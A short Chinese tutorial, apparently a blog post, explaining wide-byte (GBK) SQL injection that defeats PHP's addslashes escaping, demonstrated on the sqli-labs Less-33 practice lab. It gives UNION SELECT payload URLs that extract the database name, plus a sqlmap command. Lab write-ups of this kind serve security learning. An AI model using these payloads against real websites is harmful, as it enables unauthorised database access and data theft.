0X01 宽字节注入基础
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%DF’ :会被PHP当中的addslashes函数转义为“%DF’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
0X02 宽字节注入代码分析
Less-33 Bypass addslashes()
采用了addslashes函数进行了转义
网站采用的是GBK编码方式
0X03 宽字节SQL注入演示
id=1%df’ --+
http://127.0.0.1/sqli-labs/Less-33/?id=-1%df%27%20%20union%20select%201,2,3%20–+
http://127.0.0.1/sqli-labs/Less-33/?id=-1%df%27%20%20union%20select%201,database(),3%20–+
同样的配方构建payload
0X04 sqlmap安全检测
sqlmap.py -u “URL?id=1%df%27” --search --level 3 --risk 1 --thread 10
-----E-----N-----D-----
😄如有问题,请各位师傅斧正,你的支持是我最大的动力。